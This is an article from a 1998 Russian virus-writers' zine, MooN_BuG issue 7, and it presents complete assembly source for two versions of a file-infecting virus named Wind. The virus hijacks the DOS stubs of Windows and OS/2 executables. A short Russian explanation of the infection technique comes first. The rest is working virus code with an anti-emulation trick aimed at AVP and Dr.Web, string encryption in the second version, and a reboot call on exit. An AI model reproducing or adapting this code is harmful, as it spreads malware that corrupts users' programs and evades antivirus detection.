[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 7, Sep 1998                                           file 00A

                                 Multi Virus
                                                     by FRiZER

┌─[BeginNFO]─────────────────────────────────────────────────────────────────┐
■ Name    : Wind.a                                                           │
■ Made by : FRiZER                                                           │
■ Made at : 16.07.98                                                         │
■ Size    : 368 bytes                                                        │
■ Target  : NewEXE (NE,LE,LX,PE)                                             │
■ AntiAV  : StopEmul trick                                                   │
└─[EndNFO]───────────────────────────────────────────────────────────────────┘
                        DOS умер. Да здравствует DOS.

      Идет  "прогресс".  Скоро юзеров, работающих (хоть иногда) под DOS,
      не  останется.  Кто  под MustDie'ем работает, кто-то под OS/2, ...
      Соответственно  и  программ,  работающих  под  DOS, становится все
      меньше  и  меньше.  И  где  же  нормальному  DOS-вирусу найти себе
      жертву.  Это становится сродни археологическим раскопкам.
      Но есть еще ниша для жизни - STUBы от NewEXE файлов (NE,LE,LX,PE),
      в которые можно преспокойно поселиться. Но есть один минус у этого
      способо  -  STUB  будет  выполняться только под DOS, а возможность
      этого становится все меньше и меньше.

                                 Что делать?
            Как сделать так, чтобы STUB запускался в любом случае?

      Для  этого  нужно знать, как Маздай и Ко. распознают "свои" файлы.
      Дык элементарно. В заголовке смотрится слово по адресу 18h, и если
      оно  больше или равно 40h, то это NewEXE, и в [3Ch] лежит смещение
      начала  заголовка  NewEXE. И если первые 2 байта там NE,LE,LX,PE),
      то это точно NewEXE => ОС запускает его а не STUB.

      Отсюда  ответ  на  вопрос  Чернышевского  - похерить либо слово по
      смещению 18h (чтобы было <40h) либо сигнатуру NewEXE 'NE,PE,...'.

      ОС думает что это обычный DOS файл - и запускает его.

      Как  же будет запускаться NewEXE? А никак - пока в STUBe сидим мы.
      Приходится вылечивать этот файл, что вообщем то по барабану - ведь
      несколько файлов уже заражено.

      Правда есть большой минус такого способа заражения:
      При  запуске  из под GUI вылетит окошко, в котором будет написано,
      что   'This   program...чего-то  хочет'  и  так  и  будет  висеть.
      Естественно, что это не возбудит подозрения только у самого тупого
      юзера  (будет  думать,  что это глюки винды, тем более в следующий
      раз программа запустится как обычно).
      Но теоретически можно сделать так, чтобы это окошко прибивалось.
      Не  знаю  как  это сделать, но у меня иногда DN, запущенный из под
      винды, вылетал молча, без окошек и сообщений о ошибках.


=== Cut ===                                                           WIND.CRK
Исправление IP

WIND.EXE
00000014: 00 20
00000015: 01 00
=== Cut ===

=== Cut ===                                                           WIND.ASM
.model tiny
.386
MaxInfect equ   3
.code
.startup
org 0
s:
Sign    db      'MZ'
PartPag dw      e-s
PageCnt dw      (e-s+511)/512
ReloCnt dw      0
HdrSize dw      (h-s+15)/16
MinMem  dw      (402h+15)/16
MaxMem  dw      0FFFFh
ReloSS  dw      0
ExeSP   dw      0
ChkSum  dw      0                       ; infected files count
ExeIP   dw      h-s
ReloCS  dw      0
TablOff dw      0
Overlay dw      0
        db      'Wind'
h:
        mov     ah,2                    ;\
        mov     dl,0                    ; stop AV emul (like AVP or Dr.Web)
        int     21h                     ;/

        push    cs
        pop     ds

        call    crypt_m                 ; decrypt '*.exe',0
                                        ; [si] = '*.exe',0

        mov     byte ptr ChkSum,ch      ; infected files count

        lea     dx,e
        mov     ah,9                    ; print msg 'This prog...'
        int     21h

        mov     ah,4Eh                  ; find first
        push    si
        pop     dx                      ; [dx] = '*.exe',0
        mov     cl,20h                  ; cl = file attribute mask
        int     21h
        push    es                      ; save es

        call    crypt_m                 ; crypt '*.exe',0

find_next:
        mov     ah,4Fh                  ; find next
        mov     dx,80h                  ; [dx] = DTA
        pop     ds                      ; [ds:0] = PSP
        push    ds
        int     21h                     ; find first/next
        jc      rest

        mov     dx,9Eh                  ; [DTA+1Eh] = 'filename.exe',0
        mov     ax,3d02h                ; open file for r/w
        int     21h
        jc      find_next

        xchg    ax,bx                   ; bx = handle

        push    cs cs
        pop     ds es                   ; ds need for read/write from/to file

        mov     ah,3Fh                  ; read from file
        lea     dx,e                    ; to buffer after virus body
        mov     cx,402h                 ; 402h bytes
        int     21h

        mov     si,dx                   ; [si] = file header

        cmp     [si+1Ch],word ptr 'iW'
        jne     CheckNewEXE
        cmp     [si+1Eh],word ptr 'dn'
        je      close_file
CheckNewEXE:
        cmp     [si+18h],byte ptr 40h   ; if [si+18h] >= 40h => NewEXE file
        jb      close_file              ; not NewEXE

        cld
        mov     si,[si+3Ch]             ; [si] = NewEXE sign (NE,LE,LX,PE,...)
        lea     si,[si+e-s]
        lodsw                           ; ax = NewEXE sign

        lea     di,signs                ; [di] = list of signs
        mov     cx,4                    ; count of known signs
        repnz   scasw                   ; try to find word from [si] in list
        jnz     close_file              ; if not found

        mov     al,2
        call    lseek                   ; lseek to end

        mov     ah,40h                  ; write to file
        lea     dx,e                    ; to buffer after virus body
        mov     cx,402h                 ; 402h bytes
        int     21h

        mov     al,0
        call    lseek                   ; lseek to begin

        mov     cl,h-s                  ; size of MZ-header
        mov     ah,40h                  ; write MZ-header
        int     21h

        add     ChkSum,101h             ; increment in current session
                                        ; & total infected files count

        mov     ah,40h                  ; write virus body (w/MZ-header)
        mov     cx,e-s
        int     21h

;       lea     di,e                    ; [di] = file header
        mov     al,'T'
        mov     ch,3
scas_str:
        repnz   scasb                   ; find 'T' (1st char in 'This ...$')
        cmp     [di],word ptr 'ih'      ; is next word = 'ih' -------^^ ?
        jnz     scas_str                ; no - find again

        dec     di                      ; [di] = 'This ...$'
        push    di                      ; save di
        mov     ax,4000h+'$'            ; ah=40h (write to file) & al='$'
        repnz   scasb                   ; find '$' (last char in 'This ...$')

        xchg    di,cx                   ; [cx-1] = '$'
        pop     di                      ; [di] = 'This...$'
        mov     dx,di                   ; [dx] = 'This...$'
        sub     cx,dx                   ; cx = lenght of 'This... $'

        int     21h                     ; write 'This ...$' after virus body

close_file:
        mov     ah,3Eh                  ; close file
        int     21h
        cmp     byte ptr ChkSum,MaxInfect ; no more than limit
        jbe     find_next               ; Infect count > limit => exit

rest:                                   ; restore host to normal run
        pop     es                      ; restore es
        push    es
        pop     ds                      ; [ds:0] = PSP
        xor     si,si
        mov     ds,[si+2Ch]             ; ds = Environment Segment
search00:
        lodsb
        cmp     al,0                    ; find byte 0
        jnz     search00                ; if not - next byte
        cmp     [si],al                 ; is next byte also 0 ?
        jnz     search00                ; if not - search again

        lea     dx,[si+3]               ; [dx] = 'hostname.exe',0
        mov     ax,3d02h                ; open for r/w
        int     21h
        jc      exi

        push    cs
        pop     ds                      ; ds need for read/write from/to file

        xchg    ax,bx                   ; bx = handle

        call    lseek_b                 ; lseek to old host's begin

        mov     ah,3Fh                  ; read old host's begin
        lea     dx,e                    ; to buf after virus body
        mov     cx,402h                 ; 402h bytes
        push    cx dx                   ; save cx & dx
        int     21h

        mov     al,0                    ; lseek to begin
        call    lseek

        pop     dx cx                   ; restore cx & dx
        mov     ah,40h                  ; write old host's begin
        int     21h

        call    lseek_b                 ; lseek to old host's begin
                                        ; also normal end of file
        xor     cx,cx
        mov     ah,40h                  ; trancute file
        int     21h

        mov     ah,3Eh                  ; close file
        int     21h

exi:
        mov     ax,4C01h                ; exit
        int     21h

lseek   proc
        mov     ah,42h                  ; lseek to func(al)
        cwd                             ; dx = 0
        xor     cx,cx                   ; cx = 0
        int     21h
        ret
lseek   endp

lseek_b proc
        mov     al,2
        call    lseek                   ; lseek to end => cx = 0
        sub     ax,402h
        sbb     dx,cx                   ; dx:ax = (offset end)-402h
        xchg    ax,dx                   ; dx = low_part, ax = high_part
        xchg    ax,cx                   ; cx = high_part, ax = 0
                                        ; cx:dx = (offset end)-402h
        mov     ah,42h
        int     21h
        ret
lseek_b endp

crypt_m proc
        lea     si,msk
        xor     [si],si                 ;
        xor     [si+2],si               ; decrypt/encrypt mask
        xor     [si+4],si               ;
        ret
crypt_m endp

vname   db      '[ Wind by FRiZER ]'
msk     db      'H/',7,'y',7,1          ; '*.exe',0
signs   db      'NELELXPE'
e:
        db      'This program requires MustDie.',13,10,'$'
end
=== Cut ===




┌─[BeginNFO]─────────────────────────────────────────────────────────────────┐
■ Name    : Wind.b                                                           │
■ Made by : FRiZER                                                           │
■ Made at : 26.07.98                                                         │
■ Size    : 368 bytes                                                        │
■ Target  : NewEXE (NE,LE,LX,PE)                                             │
■ AntiAV  : StopEmul trick                                                   │
└─[EndNFO]───────────────────────────────────────────────────────────────────┘

=== Cut ===                                                           WIND.CRK
Исправление IP

WIND.EXE
00000014: 00 20
00000015: 01 00
=== Cut ===

=== Cut ===                                                           WIND.ASM
.model tiny
.386
MaxInfect equ   3
.code
.startup
org 0
s:
Sign    db      'MZ'
PartPag dw      e-s
PageCnt dw      (e-s+511)/512
ReloCnt dw      0
HdrSize dw      (h-s+15)/16
MinMem  dw      (402h+15)/16
MaxMem  dw      0FFFFh
ReloSS  dw      0
ExeSP   dw      0
ChkSum  dw      0                       ; infected files count
ExeIP   dw      h-s
ReloCS  dw      0
TablOff dw      0909h
Overlay dw      0
        db      'Wind'
h:
        mov     ah,2                    ;\
        mov     dl,0                    ; stop AV emul (like AVP or Dr.Web)
        int     21h                     ;/


        push    cs
        pop     ds

        mov     byte ptr ChkSum,al      ; infected files count

        call    crypt_m                 ; decrypt '*.exe',0
                                        ; [si] = '*.exe',0

;        lea     dx,e+1
;        mov     ah,9                    ; print msg 'This prog...'
;        int     21h

        mov     ah,4Eh                  ; find first
        push    si
        pop     dx                      ; [dx] = '*.exe',0
        mov     cl,20h                  ; cl = file attribute mask
        int     21h
        push    es                      ; save es

        call    crypt_m                 ; crypt '*.exe',0

find_next:
        mov     ah,4Fh                  ; find next
        mov     dx,80h                  ; [dx] = DTA
        pop     ds                      ; [ds:0] = PSP
        push    ds
        int     21h                     ; find first/next
        jc      rest

        mov     dx,9Eh                  ; [DTA+1Eh] = 'filename.exe',0
        mov     ax,3d02h                ; open file for r/w
        int     21h
        jc      find_next

        xchg    ax,bx                   ; bx = handle

        push    cs cs
        pop     ds es                   ; ds need for read/write from/to file

        mov     ah,3Fh                  ; read from file
        lea     dx,e                    ; to buffer after virus body
        mov     cx,402h                 ; 402h bytes
        int     21h

        mov     si,dx                   ; [si] = file header

        cmp     [si+1Ch],word ptr 'iW'
        jne     CheckNewEXE
        cmp     [si+1Eh],word ptr 'dn'
        je      close_file
CheckNewEXE:
        cmp     [si+18h],byte ptr 40h   ; if [si+18h] >= 40h => NewEXE file
        jb      close_file              ; not NewEXE

        cld
        mov     si,[si+3Ch]             ; [si] = NewEXE sign (NE,LE,LX,PE,...)
        lea     si,[si+e-s]
        lodsw                           ; ax = NewEXE sign

        lea     di,signs                ; [di] = list of signs
        mov     cx,4                    ; count of known signs
        repnz   scasw                   ; try to find word from [si] in list
        jnz     close_file              ; if not found

        mov     al,2
        call    lseek                   ; lseek to end

        mov     ah,40h                  ; write to file
        lea     dx,e                    ; to buffer after virus body
        mov     cx,402h                 ; 402h bytes
        int     21h

        mov     al,0
        call    lseek                   ; lseek to begin

        mov     cl,h-s                  ; size of MZ-header
        mov     ah,40h                  ; write MZ-header
        int     21h

        add     ChkSum,101h             ; increment in current session
                                        ; & total infected files count

        mov     ah,40h                  ; write virus body (w/MZ-header)
        mov     cx,e-s
        int     21h

;       lea     di,e                    ; [di] = file header
        mov     al,'T'
        mov     ch,3
scas_str:
        repnz   scasb                   ; find 'T' (1st char in 'This ...$')
        cmp     [di],word ptr 'ih'      ; is next word = 'ih' -------^^ ?
        jnz     scas_str                ; no - find again

        dec     di                      ; [di] = 'This ...$'
        push    di                      ; save di
        mov     ax,4000h+'$'            ; ah=40h (write to file) & al='$'
        repnz   scasb                   ; find '$' (last char in 'This ...$')

        xchg    di,cx                   ; [cx-1] = '$'
        pop     di                      ; [di] = 'This...$'
        mov     dx,di                   ; [dx] = 'This...$'
        sub     cx,dx                   ; cx = lenght of 'This... $'

        int     21h                     ; write 'This ...$' after virus body

close_file:
        mov     ah,3Eh                  ; close file
        int     21h
        cmp     byte ptr ChkSum,MaxInfect ; no more than limit
        jbe     find_next               ; Infect count > limit => exit

rest:                                   ; restore host to normal run
        pop     es                      ; restore es
        push    es
        pop     ds                      ; [ds:0] = PSP
        xor     si,si
        mov     ds,[si+2Ch]             ; ds = Environment Segment
search00:
        lodsb
        cmp     al,0                    ; find byte 0
        jnz     search00                ; if not - next byte
        cmp     [si],al                 ; is next byte also 0 ?
        jnz     search00                ; if not - search again

        lea     dx,[si+3]               ; [dx] = 'hostname.exe',0
        mov     ax,3d02h                ; open for r/w
        int     21h
        jc      exi

        push    cs
        pop     ds                      ; ds need for read/write from/to file

        xchg    ax,bx                   ; bx = handle

        call    lseek_b                 ; lseek to old host's begin

        mov     ah,3Fh                  ; read old host's begin
        lea     dx,e                    ; to buf after virus body
        mov     cx,402h                 ; 402h bytes
        push    cx dx                   ; save cx & dx
        int     21h

        mov     al,0                    ; lseek to begin
        call    lseek

        pop     dx cx                   ; restore cx & dx
        mov     ah,40h                  ; write old host's begin
        int     21h

        call    lseek_b                 ; lseek to old host's begin
                                        ; also normal end of file
        xor     cx,cx
        mov     ah,40h                  ; trancute file
        int     21h

        mov     ah,3Eh                  ; close file
        int     21h

exi:
        mov     ax,4C01h                ; exit
        int     19h
;        int     21h

lseek   proc
        mov     ah,42h                  ; lseek to func(al)
        cwd                             ; dx = 0
        xor     cx,cx                   ; cx = 0
        int     21h
        ret
lseek   endp

lseek_b proc
        mov     al,2
        call    lseek                   ; lseek to end => cx = 0
        sub     ax,402h
        sbb     dx,cx                   ; dx:ax = (offset end)-402h
        xchg    ax,dx                   ; dx = low_part, ax = high_part
        xchg    ax,cx                   ; cx = high_part, ax = 0
                                        ; cx:dx = (offset end)-402h
        mov     ah,42h
        int     21h
        ret
lseek_b endp

crypt_m proc
        lea     si,signs
        mov     cx,(signs-msk+1)/2
cr:
        dec     si
        dec     si
        not     word ptr [si]
        loop    cr
        ret
crypt_m endp
        db      '>';'*.exe',0
msk     db      0D5h,0D1h,09Ah,087h,09Ah,0FFh

        db      '>'; '[ Wind by FRiZER ]',0
vname   db      0A4h,0DFh,0A8h,096h,091h,09Bh,0DFh,09Dh,086h
        db      0DFh,0B9h,0ADh,096h,0A5h,0BAh,0ADh,0DFh,0A2h
        db      0FFh
signs   db      'NELELXPE'
        db      10,13,10,13
e:
        db      'This program requires MustDie.',13,10,'$'
end
=== Cut ===